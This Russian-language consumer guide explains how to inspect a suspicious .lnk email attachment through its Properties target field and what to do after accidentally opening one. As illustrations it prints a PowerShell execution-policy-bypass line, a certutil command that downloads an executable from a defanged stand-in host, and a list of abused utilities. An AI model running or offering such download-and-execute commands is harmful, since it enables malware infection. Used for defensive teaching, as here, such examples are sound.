Как безопасно открыть файл .lnk из неизвестного письма, не позволяя выполнить код

Как безопасно открыть файл .lnk из неизвестного письма, не позволяя выполнить код

Ты получил письмо — не от босса, не от коллеги, не от знакомого. Вложение: документ.lnk. Надпись «Счет за услуги», «Ваша заявка», «Подтверждение заказа». Ты не знаешь, кто это отправил. Но ты хочешь посмотреть — вдруг это важно?

И тут ты вспоминаешь: «А вдруг это вирус?» — и замираешь. Потому что ты уже слышал, что .lnk-файлы могут запускать вредоносный код просто при открытии. И ты не хочешь заразить компьютер. Не хочешь потерять данные. Не хочешь, чтобы твою почту использовали для рассылки спама.

Эта статья — не про «не открывай файлы из непонятных писем». Это про то, как безопасно проверить .lnk-файл, если ты точно должен это сделать. Без паники. Без «всё пропало». Без лишних действий, которые ничего не дают.

Почему .lnk-файл — это не просто ярлык

Файл с расширением .lnk — это ярлык. В Windows он ведёт к другому файлу: программе, папке, документу. Обычно он безвреден. Но злоумышленники научились использовать его как ловушку.

Вместо того чтобы указывать на реальный файл, вредоносный .lnk может содержать команду, которая запускает PowerShell, скрипт, или скачивает вирус с удалённого сервера — как только ты дважды кликнешь по нему.

Ты даже не видишь, что происходит. Появляется окно командной строки на мгновение — и исчезает. Компьютер уже заражён. Вирус может:

  • Украсть пароли из браузера;
  • Заблокировать файлы и потребовать выкуп;
  • Превратить твой компьютер в часть бот-сети для рассылки спама;
  • Скрыться так, что антивирус его не найдёт.

И да — это работает даже если у тебя есть антивирус. Многие вирусы специально пишутся под обход защиты. Особенно если ты открываешь файл вручную, а не через защищённую среду.

Как проверить .lnk-файл, не запуская его

Ты не должен открывать его двойным кликом. Ни в коем случае. Но ты можешь его изучить — и понять, стоит ли вообще продолжать.

Вот пошаговый способ безопасного анализа.

  1. Не сохраняй файл на рабочий стол или в папку «Загрузки». Создай отдельную папку — например, C:\Temp\lnk_check. Только туда.
  2. Скопируй файл .lnk в эту папку. Не открывай, не запускай. Просто скопируй.
  3. Открой проводник, перейди в эту папку.
  4. Щёлкни правой кнопкой по файлу .lnk — выбери «Свойства».
  5. В поле «Объект» посмотри, что написано. Вот тут и скрывается вся правда.

Примеры того, что ты можешь увидеть:

  • Безопасно: C:\Windows\System32\notepad.exe — это просто ярлык на Блокнот. Скорее всего, это ложное срабатывание или безобидный файл.
  • Опасно: %windir%\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\malware.ps1" — это прямой запуск скрипта. Сразу закрывай окно.
  • Подозрительно: %comspec% /c certutil -urlcache -split -f http://bad-site[.]xyz/evil.exe — это загрузка файла с сайта. Даже если сайт выглядит как «safe-download[.]org» — это фейк.

Если ты видишь что-то с powershell, wscript, cscript, certutil, bitsadmin, curl или wget — это почти всегда вредоносный код. Не открывай. Не игнорируй. Удаляй.

Что делать, если ты не понимаешь, что написано в «Объекте»

Иногда строка выглядит как мусор: %SystemRoot%\System32\cmd.exe /c start "" "C:\Users\Public\~1.tmp". Ты не знаешь, что такое ~1.tmp. Это нормально. Тебе не нужно разбираться в деталях.

Вот что делать:

  1. Скопируй всю строку из поля «Объект».
  2. Открой браузер и вставь её в поисковик: «powershell -ExecutionPolicy Bypass -File» вирус — и посмотри, что выдаёт Google.
  3. Если ты видишь в результатах статьи с сайтов вроде malwaretips.com, bleepingcomputer.com или reddit.com/r/techsupport — это вирус. Удаляй.
  4. Если ничего не найдено — и строка выглядит как путь к системному файлу (например, explorer.exe или notepad.exe) — вероятно, это безопасно. Но не открывай его. Пока.

Ты не обязан быть экспертом. Ты обязан быть осторожным. И если ты не уверен — удаляй.

Сравнение способов проверки .lnk-файлов

Способ Безопасность Сложность Когда использовать
Открыть через «Свойства» и посмотреть «Объект» Высокая Низкая Всегда — первый шаг
Открыть в Блокноте Средняя Низкая Только если нужно увидеть скрытые символы (редко)
Запустить в виртуальной машине Очень высокая Высокая Только если ты профессионал и знаешь, как настроить VM
Открыть двойным кликом Нулевая Нет Никогда
Просканировать антивирусом Низкая Низкая Только как дополнение — не как основной способ

Антивирус может не сработать. Он не всегда распознаёт новые или украденные подписи. Поэтому анализ «Объекта» — это твой главный инструмент. Он работает даже тогда, когда антивирус молчит.

Частые ошибки

  • «Я просто посмотрю, что там» — и двойной клик. Это самая распространённая ошибка. Даже если ты думаешь, что «это не вирус» — ты не знаешь, что внутри. И ты не можешь предугадать поведение файла.
  • «У меня есть антивирус — он всё почистит». Антивирус — это не броня. Это детектор. Он не всегда срабатывает вовремя. Особенно если файл новый, или вирус использует легитимные системные утилиты (PowerShell, certutil).
  • «Я открыл в виртуальной машине — значит, всё безопасно». Нет. Если ты не настроил сеть в VM, вирус может выйти за её пределы. Или заразить хост-систему через общие папки. Это не панацея для новичков.
  • «Я просто переименую файл в .txt и открою». Это не работает. .lnk — это бинарный файл. Переименование не меняет его структуру. Ты увидишь мусор. И не узнаешь ничего.
  • «Я открыл его на работе — но у нас есть IT-отдел». Да, у тебя есть IT. Но они не знают, что ты открыл файл. И ты не обязан ждать, пока они разберутся. Ты можешь и должен проверить сам — быстро и безопасно.

Что выбрать в зависимости от ситуации

Ты не всегда в одинаковой ситуации. Вот как действовать в разных сценариях.

Сценарий 1: Письмо от незнакомца, с вложением .lnk

Действие: Удаляй. Немедленно.

Если ты не ждал это письмо, не знаешь отправителя, и нет никакого контекста — это 99% фишинг. Не трать время. Удаляй. Не сохраняй. Не анализируй. Просто удаляй.

Сценарий 2: Письмо от коллеги, но с подозрительным именем файла

Действие: Проверь «Объект» — и позвони коллеге.

Даже если письмо от «Ивана», а файл называется Отчёт.lnk — это может быть взломанная почта. Открой свойства, посмотри «Объект». Если там PowerShell — сразу звони. Скажи: «Иван, ты мне файл .lnk отправлял? У меня в свойствах что-то странное — не ты ли это?»

Если он говорит «нет» — удаляй. Если говорит «да» — попроси отправить файл как .pdf или .xlsx. Не .lnk.

Сценарий 3: Ты ожидаешь файл от компании, но он пришёл в .lnk

Действие: Проверь «Объект» — и зайди на сайт напрямую.

Например, ты ждёшь счёт от «Ростелекома». Пришёл файл Счёт_2024.lnk. Не открывай. Зайди на сайт Ростелекома вручную — через браузер, не по ссылке из письма. Зайди в личный кабинет. Посмотри, есть ли счёт там. Если есть — скачай его нормально. Если нет — письмо фейк. Удаляй.

Сценарий 4: Ты профессионал и должен проверить файл для анализа

Действие: Используй виртуальную машину + анализ в изолированной среде.

Если ты аналитик, ИТ-специалист или просто опытный пользователь — ты можешь использовать виртуальную машину (VirtualBox, VMware). Включи сетевой фильтр, отключи общие папки, отключи буфер обмена. Запусти файл в VM — и смотри, что происходит в диспетчере задач и в сетевом трафике. Но это не для новичков. Не пытайся, если не уверен.

Как лучше сделать — практические рекомендации

  • Всегда проверяй «Объект» в свойствах .lnk-файла — это твой главный инструмент. Не пропускай этот шаг.
  • Не сохраняй .lnk-файлы в папках, где ты работаешь. Только в отдельной, чистой папке — и только для анализа.
  • Если ты не уверен — удаляй. Лучше потерять один файл, чем потерять всю систему.
  • Настрой Windows, чтобы видеть расширения файлов. В проводнике: «Вид» → «Показывать расширения файлов». Иначе ты не увидишь, что файл на самом деле называется документ.lnk.exe — и думаешь, что это .lnk.
  • Отключи автозапуск PowerShell по умолчанию. Это не спасёт от всего, но снизит риск. Открой PowerShell от имени администратора и введи: Set-ExecutionPolicy Restricted — это запретит запуск скриптов без явного разрешения.
  • Не доверяй письмам с вложениями, даже если они выглядят официально. Подделать логотип, название компании, адрес отправителя — проще, чем кажется.

Что делать, если ты уже открыл .lnk-файл

Если ты случайно дважды кликнул — и ничего не случилось, не паникуй. Но и не расслабляйся.

Сразу сделай это:

  1. Отключи компьютер от интернета — отключи Wi-Fi или выключи кабель.
  2. Запусти диспетчер задач (Ctrl+Shift+Esc). Посмотри, нет ли подозрительных процессов: powershell.exe, wscript.exe, cmd.exe — особенно если они запущены от имени пользователя, а не от системы.
  3. Если есть — заверши их.
  4. Запусти антивирус (Windows Defender, Kaspersky, Malwarebytes) — и сделай полное сканирование.
  5. Сменить пароли от почты, банков, соцсетей — если ты был залогинен в браузере.
  6. Если ты не уверен — сбрось систему. В Windows 10/11: «Параметры» → «Восстановление» → «Сбросить этот ПК» — выбери «Удалить всё».

Если ты сделал это в течение 5 минут — шансы на спасение высоки. Если прошло больше — риски растут.

Итог: что делать прямо сейчас

Ты получил .lnk-файл из неизвестного письма. Ты хочешь понять — безопасно ли его открывать.

Вот твой алгоритм:

  1. Не открывай файл двойным кликом. Ни при каких обстоятельствах.
  2. Скопируй его в отдельную папку (например, C:\Temp\lnk_check).
  3. Щёлкни правой кнопкой → «Свойства».
  4. Посмотри поле «Объект». Если там PowerShell, certutil, curl, bitsadmin — удаляй. Сразу.
  5. Если там что-то странное — скопируй строку и найди её в Google. Если есть упоминания вируса — удаляй.
  6. Если ты не уверен — удаляй. Не анализируй. Не жди. Удаляй.
  7. Если ты уже открыл — отключи интернет, проверь процессы, просканируй антивирусом, сменяй пароли.

Это не теория. Это проверенные действия. Они работают. Их используют профессионалы, которые не хотят терять данные, время и репутацию.

Ты не обязан быть хакером, чтобы защитить себя. Ты просто обязан быть внимательным. И знать один шаг: свойства → объект → анализ → решение.

Следующий раз, когда ты увидишь .lnk-файл — ты не будешь думать «а вдруг». Ты просто откроешь свойства. И всё.

Информация в этой статье носит ознакомительный характер. При подозрении на заражение системы или утечке данных рекомендуется обратиться к специалисту по кибербезопасности.

Оцените статью
PEFile — Безопасность и технологии простым языком